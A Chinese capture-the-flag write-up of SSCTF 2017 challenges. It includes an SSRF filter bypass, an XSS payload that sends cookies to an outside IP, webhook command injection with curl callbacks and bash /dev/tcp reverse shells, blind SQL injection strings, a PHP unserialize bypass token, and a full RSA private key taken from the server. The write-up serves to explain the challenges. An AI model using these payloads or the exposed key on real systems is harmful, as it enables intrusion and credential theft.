SSCTF-2017-WEB-WriteUp

web 100 捡吗?

这道坑题目,服务老是崩不说,感觉价值不大。。。 根据提示有一台服务在10.23.173.0网段,扫一下很容易就发现在10.23.173.190,然后这个ip下又一个news.php也有url可以跳转。然后再根据提示说是有三个服务器,最后一个是ftp,现在我们有两个了就差最后一个了。然后就扫呗,中途题目崩溃的时候看到过这样的过滤代码:


<?php
if (isset($_GET['url']))
{
$link = $_GET['url'];
$link = str_replace("dict","_", $link);
$link = str_replace("file","_", $link);
$link = str_replace("ftp","_", $link);
$link = str_replace("ftps","_", $link);
$link = str_replace("gopher","_", $link);
$link = str_replace("http","_", $link);
$link = str_replace("https","_", $link);
$link = str_replace("imap","_", $link);
$link = str_replace("imaps","_", $link);
$link = str_replace("ldap","_", $link);
$link = str_replace("ldaps","_", $link);
$link = str_replace("pop3","_", $link);
$link = str_replace("pop3s","_", $link);
$link = str_replace("rtmp","_", $link);
$link = str_replace("rtsp","_", $link);
$link = str_replace("smtp","_", $link);
$link = str_replace("smtps","_", $link);
$link = str_replace("telnet","_", $link);
$link = str_replace("tftp","_", $link);
$link = str_replace(".a","_", $link);
$link = str_replace(".b","_", $link);
$link = str_replace(".c","_", $link);
$link = str_replace(".d","_", $link);
$link = str_replace(".f","_", $link);
$link = str_replace(".g","_", $link);
$link = str_replace(".h","_", $link);
$link = str_replace(".i","_", $link);
$link = str_replace(".k","_", $link);
$link = str_replace(".l","_", $link);
$link = str_replace(".m","_", $link);
$link = str_replace(".n","_", $link);
$link = str_replace(".o","_", $link);
$link = str_replace(".q","_", $link);
$link = str_replace(".r","_", $link);
$link = str_replace(".s","_", $link);
$link = str_replace(".u","_", $link);
$link = str_replace(".v","_", $link);
$link = str_replace(".w","_", $link);
$link = str_replace(".x","_", $link);
$link = str_replace(".y","_", $link);
$link = str_replace(".z","_", $link);
$curlobj = curl_init($link);
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
}
?>

所以知道ftp杯过滤了,大写就可以绕过,然后就是用burp跑就行了,后来跟新了提示:

这么清晰,直接构造访问

发现flag.txt,访问获得flag

web 200 弹幕

打开发现是个websocket获取数据,然后每个人连上去就会有一个welcome提示,大概像这样:

Welcome, 1.85**

然后觉得这个链接很可疑,访问下是个ok,然后怎么改body都是ok, 再访问下http://117.34.71.7/xssHentai,发现是个登陆页面,弱密码admin:admin直接登陆,然后发现

让我们往3发送请求,发现每往3发送一个,这个页面就会更新,再根据cookie的提示 知道往1发就是管理员, 最后payload如下:

http://117.34.71.7/xssHentai/request/1/?body=%3Cscript%3E%24.get%28%22http%3A%2f%2f104.160.43.154%3A8000%2fxss%2f%3Fa%3D%22%2bdocument.cookie%29%3C%2fscript%3E

flag截图:

web 300 白吗?全是套路

这个题其实是利用web1发现的点做的,web1扫内网的时候,发现这样

http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=172.17.0.1/

直接到web3也就是本题来了,加上web1发现的过滤,知道可以用file协议大写绕过就能任意读取本题的文件

http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=File:///etc/passwd

读取了一堆文件也没发现什么,倒是在/var/www/submit.php目录发现了可以伪造ip进行insert的盲注


<?php

header("CONTENT-TYPE:text/html;charset=UTF-8");
define("HOST","127.0.0.1");
define("USERNAME","root");
define("PASSWORD","");
$con=new mysqli(HOST,USERNAME,PASSWORD,"ctf1");
if(!$con){
    echo $con->error;
    exit("aaaa");
}
if(!$con->select_db("ctf1")){
    echo $con->error;
}
if(!$con->query("SET NAMES utf8")){
    echo $con->error;
}

$xss=$_POST["sub"];
$str = addslashes($xss);

/**********鑾峰彇IP************/
class Action  
{  

    function get_outer()  
    {  
        $url = 'http://www.ip138.com/ip2city.asp';  
        $info = file_get_contents($url);  
        preg_match('|<center>(.*?)</center>|i', $info, $m);  
        return $m[1];  
    }  

    function get_inter()  
    {  
        $onlineip = '';  
        if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {  
            $onlineip = getenv('HTTP_CLIENT_IP');  
        } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {  
            $onlineip = getenv('HTTP_X_FORWARDED_FOR');  
        } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {  
            $onlineip = getenv('REMOTE_ADDR');  
        } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {  
            $onlineip = $_SERVER['REMOTE_ADDR'];  
        }  
        return $onlineip;  
    }  
}  
$p = new Action();
$intip = $p->get_inter();
$outip2= $intip;
@mkdir("/tmp/ids",0777,true);
$sql="insert into ctf1(xss,ip,time,wai_ip) values('$str','$intip',NOW(),'$outip2')";

if($str=$con->query($sql)){
    echo "<script>alert('success');window.location.href='index.php'</script>";
    $insertid = mysqli_insert_id($con);
    file_put_contents("/tmp/ids/".$insertid,"a");
}
else {
    echo "<script>alert('fail');</script>";
}
?>

后来也没有发现表啊库啊里面有什么有用的东西,后来随手提交了个这个请求

POST /submit.php HTTP/1.1
Host: 120.132.20.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Connection: close
Client-Ip:
Upgrade-Insecure-Requests: 1

sub=

发现竟然弹到我的xss平台来了,如下:

然后直接去读这个php,发现没有什么可疑的东西,本来打算接着看打xss,结果突然发现这个一长串的php里面引用了另一个js.php,一看就很诡异,直接访问

然后就发现flag了。。。意料之外。。。

web 500 WebHook

好吧这道题我一定要好好的写个Writeup,这道题就是和出题人的一个博弈,三次命令执行,出题人改了三次题,还好在最后一次改之前成功获取到了flag。

命令执行1.0

最开始拿到题目是一个github项目,拿下来看源码,发现其中build函数里面很多命令执行,然后调用build函数的push函数最开始是这样子

@app.route("/push", methods=['GET', 'POST'])
def push():
    if request.method == 'GET':
        return 'OK'
    elif request.method == 'POST' and request.host.split(":")[0] == "webhook.ssctf.seclover.com":
        post = json.loads(request.data)
        if 'repository' not in post:
            abort(403)
        repos = json.loads(open('repos.json').read())
        name = post['repository']["name"]

        match = re.match(r"refs/heads/(?P<branch>.*)", post['ref'])
        if match:
            branch = match.groupdict()['branch']
            before = post.get("before") or ""
            msg = "recived push repo:{name} with before \n"
            msg += json.dumps(before, indent=4)
            webhooklog.info(msg.format(**locals()))
        else:
            abort(403)
        if repos.get(name):
            if not logs.get(name):
                logs[name] = getlog(name)
            url = repos[name].get("url", "")
            log = logs[name]
            pool.apply_async(build, (name, url, branch, log))

        else:
            abort(403)

    return 'OK'

发现参数branch是我们可以控制的,通过正则来匹配,正则使很容易绕过的,我们只需要让ref=refs/heads/P<branch>;curl http://104.160.43.154:12345就能成功执行命令,而且这里也没有身份验证,所以直接构造请求发往/push页面就行了:

{"repository":{"name":"flag"},"ref":"refs/heads/P;curl http://104.160.43.154:12345"}

ps:这个flag用户是查看/webhooklog页面看到的用户名。 然后直接构造反弹shell就可以了。

{"repository":{"name":"flag"},"ref":"refs/heads/P;/bin/bash -i >& /dev/tcp/104.160.43.154/12345 0>&1"}

成功反弹shell之后。折腾了半天没有找到flag,看到那个repos.json里面有个https://git.coding.net/ljgame/flag.git,访问下发现是个私有的项目看不了。然后就开始遍地找flag,最后服务器重启修复这个branch参数的命令执行漏洞,修复如下:

直接把branch写死了。。。。。不过已经把源码整个文件夹都dump下来了。

命令执行2.0

重新审计发现就在刚才源码调用build的地方,和branch参数同时传入的还有url参数,url参数来自哪儿?

@app.route("/addrepo", methods=['GET'])
def addrepo():
    repos = json.loads(open('repos.json', 'rb').read())
    repo = request.args.get('repo', "")
    key = request.args.get('key', "")
    url = request.args.get('url', "")
    password = request.args.get('pass', "")
    if key != md5.md5(repo + app.config['SECRET_KEY'] * 20 + repo).hexdigest():
        abort(403)
    if repo in repos:
        abort(403)
    repos[repo] = {
        "url": url,
        "pass": md5.md5(password + app.config['SECRET_KEY']).hexdigest()
    }
    open('repos.json', 'wb').write(json.dumps(repos))
    return "OK"

这里直接接受了传入的url参数,不过这里做了验证key == md5.md5(repo + app.config['SECRET_KEY'] * 20 + repo).hexdigest(),但是第一次dump了源码,知道了这个SECRET_KEY实际是ssctf,所以很容易构造绕过。payload如下:

http://webhook.ssctf.seclover.com:8000/addrepo?repo=test&url=test%3B%2fbin%2fbash%20-i%20%3E%26%20%2fdev%2ftcp%2f104.160.43.154%2f12345%200%3E%261&pass=test&key=9a674ed2d9aae9daa8304fb4ef1f911a

所以又一次成功弹了shell,但是还是没有找到flag。直到再一次修复。。

命令执行3.0

我们发现这个新的更新改动对url格式做了限制,

@app.route("/addrepo", methods=['GET'])
def addrepo():
    repos = json.loads(open('repos.json', 'rb').read())
    repo = request.args.get('repo', "")
    key = request.args.get('key', "")
    url = request.args.get('url', "")
    password = request.args.get('pass', "")
    if key != md5.md5(repo + app.config['SECRET_KEY'] * 20 + repo).hexdigest():
        abort(403)
    if repo in repos:
        abort(403)
    m = re.search(
        r'https://(github\.com|git\.coding\.net)/\w+/(\w+)\.git', url)
    if not m:
        abort(403)
    if m.group(2) != repo:
        abort(403)
    repos[repo] = {
        "url": url,
        "pass": md5.md5(password + app.config['SECRET_KEY']).hexdigest()
    }
    open('repos.json', 'wb').write(json.dumps(repos))
    return "OK"

但是仍然轻松绕过:

http://webhook.ssctf.seclover.com:8000/addrepo?repo=aaaaa&url=https%3A%2f%2fgithub.com%2ftest%2faaaaa.git%3B%2fbin%2fbash%20-i%20%3E%26%20%2fdev%2ftcp%2f104.160.43.154%2f12345%200%3E%261&pass=test&key=de14479df6aec67e8e69187355533c36

又一次拿到shell。。 最后想到了用服务器上的私玥搞下来直接去看看远程的这个flag.git仓库,搞下来的私玥是这个

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsYUDgOI2fRHJyf4Cw1CbvADog01Dg02/HznuAQAGCv8N4Z4n
gZ/DmB6x33470JzdF2JxXrcHJkS7h2T4UICHJaIAs/UGGfCTHSx11veWXpqyhPEJ
p1VhPcP9/rWLGIPBnNJLv1bFW90afU8CboELz0GlX8+N9XA2r+6hZengMayd/a3A
X44MqMQDTQp4wFWNF/CTsUIWD70lhwKHKTkt+isRh6bkWRa2rFvl4ODvUb0iA6jT
h+5ee1pVmzG4BGJmGQlhUHO38/3bytLNbi14uKziJAM6Z3sy/R3BwzGW3/X3ieHg
skDfu4v9gyCsX7XjnRzPXsOiKdga8RDJgataFwIDAQABAoIBAQCMv8PpWnKNc58k
0otqRO1VgPrZsFcJMomIvqugi14/Nb7R1k3Ijt3MLPonE7VlUBpUQi9VQ5UdmH1/
emUPnviItAwOowV1Z7Oc+/Vqvd+xnsJQebSHwkBZcp5eZ56jj0PhjTOVv7y3e3VX
SV/KMfMlHw16C9yob5JMp828OlURzFK2KzjUSXmYJQQw3AXcN7yYwkEGEjBCLhI3
HMWlEF5BzwuDbIJTNROv4jQsZOH1oNXtHCQGZPH3G9ewsGaQ2x5FYaI86AUCN3wX
wnR66JGGF6JYNiB93Ubh8znP/gbGfMh4DHHBQWKKT+u6v/vJOinTfDsp1FuN3NI+
ZitRWhcRAoGBAOMc+Rb3oHCEPZpmxee4ksASHk6wFZHbKrAW+t2mFyDPO45Wxwim
2PAndhjSQYzcgmh77HhYCHdv1/5n0Ozp1Uq7Udpaqqs82FGbt9MKLp660J4cBoX8
zi6UBLSC77Sm42V24Z/vkw3OJLs2iYeP5pfKKhk8X6x/jiR02wgol7LFAoGBAMgZ
OZGXw8NpALpHaTerR4L99swIicliSkBckxVZIMsmPS4QwyMLuPo3BvKJTS+pT3BM
5CX3bHfPZ5W3tUymQOzQ/eRRZovNhWvW4rbZWAMs54uyBi4inpGLP8HEr+6Yoe6k
c6L/+Jkfz5OEXyUAu14VgdkS897zvmtKa0AiKDcrAoGBALlBHuXfI53kIKPbhT8Y
zYuiu9oPw+hv0AhHFmbKXj9DCx92JXAnOPncFnb0usd971nvC9q2ZGGYd6VrZX56
1qLY3VGxd1mqjgEzdeTNf222kQkHb0LIDh7sWlIsI/9FymMvb6eYMmmmZ0vWlqRf
ewcBvwlKt/frLDUMpMWo5uTJAoGAcpDWwEBninONQhpu6Lu9ZwenjWx6D36iSrV2
VSvBte6/6qcYQvGMSF7HMIhiVB6ZaA/uNLq0NOjgQv165VbvJ2gFZfshPnw+nt7a
0ZwhYzgLnpUgKrwRk/1pVLUbkf18AZnQx4vNN0baX3jTzOjdXmHsBXBvhsCBzwY9
3+tuoR8CgYAzG5qFU+B7clDETn2qj+8u2NNHif5PUeuQTfH1z7SM7aOkdkGjilnh
OvvdME7gILAlm/qZdTZEzIegGRApM2UI3foMMg9bnxRbWybCJh21LDK4hntJCVWO
P/eObKg32p89IlTOXf/NsRABswyhOLzbqsbGY+sD/Q2UBMbhUVWU3A==
-----END RSA PRIVATE KEY-----

放到本地,把本地~/.ssh下的东西移开,然后新建一个id_rsa,记得要把权限改成600,然后执行

ssh -T git@git.coding.net -i id_rsa

收到类似这样的回复

The authenticity of host 'git.coding.net (218.75.224.59)' can't be established.
RSA key fingerprint is SHA256:jok3FH7q5LJ6qvE7iPNehBgXRw51ErE77S0Dn+Vg/Ik.
Are you sure you want to continue connecting (yes/no)? ys
Please type 'yes' or 'no': yes
Warning: Permanently added 'git.coding.net,218.75.224.59' (RSA) to the list of known hosts.
Coding.net Tips : [Hello! You've connected to Coding.net via SSH. This is a deploy key.]

说明成功了,然后就可以管理这个flag.git项目了,克隆下来

git clone git@git.coding.net:ljgame/flag.git

发现有个flag.txt

做完之后不久,题目又修复命令执行。。。 把正则换成这样

这下应该很难绕过了。。。不过跟我没啥关系辣…XD…

web 500 CloverSec Logos

这道题首先进去简单逛了一圈,然后,后来在picture.php的id参数发现注入,poc如下:

http://60.191.205.80/picture.php?id="%2b(select(sleep(6)))%2b"

然后就可以利用了,

http://60.191.205.80/picture.php?id="%2b(if(substring(database(),1,1)<'z',1,0))%2b"

根据官方提示,有一个user表,字段是username,password,脚本都懒得写了, 如下:

http://60.191.205.80/picture.php?id="%2b(if(substring(username,1,1)<'z',1,0))%2b"

直接上burp跑, 拿到用户名是admin

password需要注意,这里过滤了or,所以需要双写绕过

http://60.191.205.80/picture.php?id="%2b(if(substring(passwoorrd,1,1)<'z',1,0))%2b"

跑出来是20位的密码14aceb3fc5992cef3d97

猜测和dedecms一样,去掉头三位和末一位ceb3fc5992cef3d9,md5解密出来是admin^g 就能登陆进去了。 然后进去之后看cookie拿到tip说token会被反序列化,根据提示说是有vim的残留文件,访问.index.php.swp,发现并没有什么有用的信息,,后来访问index.php.swp才拿到真正有用的文件,这里截出重点部分如下:

if(isset($_GET['action'])&&$_GET['action']=='imformation')
{
    if(isset($_COOKIE['token']))
    {
      $secret=$_GET['secret'];
      $token =$_COOKIE['token'];
      if(isset($secret)&&(file_get_contents($secret,'r')==="1234"))
      {
        echo "hello Hacker!<br>";
        include("include.php");
        echo ssctf_unserialize($token);
      }
      else
      {
        echo "You are not Hacker ! ";
      }
    }
    else{
      setcookie("token",'');
      echo '<h2 style="text-align:center;">Welcome</h2>';
      echo '<div><h4>User imformation</h4><ul>';
      echo '<li>Username : '.$imformation['username'].'</li>';
    }
}

发现反序列函数具体详情不知道,而又包含了一个include.php,访问下发现备份文件http://60.191.205.80/include.php.swp,内容如下:

<?php
class Read{//ssctf_flag.php
    public $file;
    public function __toString(){

        if(isset($this->file)){
            if("ssctf_flag.php"===$this->file)
            {
                exit();  
            }
            else
            {
                echo file_get_contents($this->file);
            }

        }
        return "you are big Hacker";
    }
}
function ssctf_unserialize($value)
    {
        preg_match('/[oc]:\d+:/i', $value,$matches);
          if(count($matches)){
              return false;
        }
          return unserialize($value);
    }
?>

这个反序列化的正则绕过非常眼熟,只要复现过之前 __wakeup() 函数失效引发漏洞%E5%87%BD%E6%95%B0%E5%A4%B1%E6%95%88%E5%BC%95%E5%8F%91%E6%BC%8F%E6%B4%9E(CVE-2016-7124)) 就会有印象的,一个+就能绕过了,其他都是一些常见的trick就不赘述了,最后payload如下:

其中token为:

O%3a%2b4%3a"Read"%3a1%3a{s%3a4%3a"file"%3bs%3a63%3a"php%3a//filter/read%3dconvert.base64-encode/resource%3dssctf_flag.php"%3b}

misc 50 签到题

给了一串base64,解密之后是个奇怪的串,栅栏爆破一下:

# encoding:utf-8
cipher='Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ=='
cipher=cipher.decode("base64")
length=len(cipher)
num=[]
for i in range(1,length):
    if(length%i==0):
        num.append(i)
for i in num:
    b=length/i
    plantext={x:'' for x in range(b)}
    for j in range(length):
        a=j%b;
        plantext.update({a:plantext[a]+cipher[j]})
    d =''
    for j in range(b):
        d = d+plantext[j]
    print "====================================================="
    print str(i)+":"+d
'''
result:
=====================================================
1:ggQ@gQ1fqh0ohtjpt_sw{gfhgs#}
=====================================================
2:gjgpQt@_gsQw1{fgqfhh0gosh#t}
=====================================================
4:gfjggqpfQhth@0_ggossQhw#1t{}
=====================================================
7:ggqht{ggQht_gsQ10jsf#@fopwh}
=====================================================
14:gQg1q0hjts{fg#g@Qfhotp_wghs}

'''

然后再试试凯撒,发现ggqht{ggQht_gsQ10jsf#@fopwh}经过rot-12之后得到flag:ssctf{ssCtf_seC10ver#@rabit}

misc 100 flag在哪里

首先是个流量包,简单分析下请求包,发现是git的相关文件,不过改成了.nijiakadaye,一样的dump下来,然后看看git log

8894bb4d45643d52b5eb8175710999fcd398ebd4分支下拿到一串奇怪的flag:SSCTF{xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U=}, 然后在往前看,在9ab1451776fb32e82c2524fc4f37fa3f33ceae2f分支下拿到pass.php,很容易知道上面那个flag是被这个加密的,然后发现这其实是个RC4加密,RC4加密解密一样的,即再加密一遍就能拿到flag,:

<?php
$cipher="xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U=";
$pwd="ssctf";

function wtf($data,$pwd) {
    $cipher ="";
    $key[] ="";
    $box[] ="";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < 256; $i++) {
        $key[$i] = ord($pwd[$i % $pwd_length]);
        $box[$i] = $i;
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $key[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $data_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $k = $box[(($box[$a] + $box[$j]) % 256)];
        $cipher .= chr(ord($data[$i]) ^ $k);
    }
    return $cipher;
}
echo wtf(base64_decode($cipher),$pwd);

?>

所以flag如下: